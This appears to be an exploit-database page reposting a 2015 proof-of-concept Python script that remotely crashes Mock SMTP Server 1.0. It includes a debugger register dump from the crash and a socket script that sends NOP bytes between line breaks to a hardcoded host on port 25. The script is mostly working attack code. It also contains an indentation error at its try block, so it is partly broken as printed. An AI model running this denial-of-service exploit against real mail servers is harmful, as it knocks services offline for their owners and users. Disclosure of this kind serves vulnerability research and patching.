Lucene search
K

Mock SMTP Server 1.0 Remote Crash PoC

🗓️ 25 Aug 2015 00:00:00Reported by Shankar DamodaranType 
zdt
 zdt
🔗 0day.today👁 32 Views

Mock SMTP Server 1.0 Remote Crash PoC including exploit details and stack trace of cras

Code
#!/usr/bin/python
# Exploit Title: Mock SMTP Server 1.0 Remote Crash PoC
# Date: 23-08-2015
# Exploit Author: Shankar Damodaran
# Author's Twitter : @sh4nx0r
# Vendor Homepage: http://mocksmtpserver.codeplex.com
# Software Link: http://mocksmtpserver.codeplex.com/downloads/get/87077
# Version: 1.0
# Tested on: Microsoft Windows 7 Home Premium Service Pack 1
# Tested on: Microsoft Windows XP Professional SP3
# Image PoC : http://i.imgur.com/lp7NHTm.png
 
 
# The Stack Trace from Microsoft Windows XP Professional SP3
'''
The Exception occured on EBX Register (E0434F4D)
 
The Registers during the crash
 
EAX 03BAF618
ECX 00000000
EDX 00000028
EBX E0434F4D
ESP 03BAF614
EBP 03BAF668
ESI 03BAF6A4
EDI 001DFF28
EIP 7C812FD3 KERNEL32.7C812FD3
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD6000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr WSAECONNRESET (00002746)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
 
Courtesy : Immunity Debugger
 
'''
 
 
 
import socket
 
# Preparing a junk array with two NOPS.
junk_bed=["\x90","\x90"]
 
# The ip address of the remote host
smtphost = '192.168.1.7'
 
# The port of the remote host
smtpport = 25
 
for junk in junk_bed:
     
    # Initialize the socket stream
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     
    # Setting a 5 second tolerance limit to check the server uptime
    s.settimeout(5)
     
    # Connecting to the remote service.
    s.connect((smtphost,smtpport))
 
    # If the server doesn't respond, means its crashed.
        try:
        s.recv(1)
    except socket.timeout:
        print "The SMTP Server has been crashed."
        quit()
     
    # Sending the evil input
    print "Evil Input Sent...Triggering a crash."
    s.send('\r\n'+junk+'\r\n')
 
    # Close the connection socket
    s.close()
 
# End of PoC - Shankar Damodaran

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation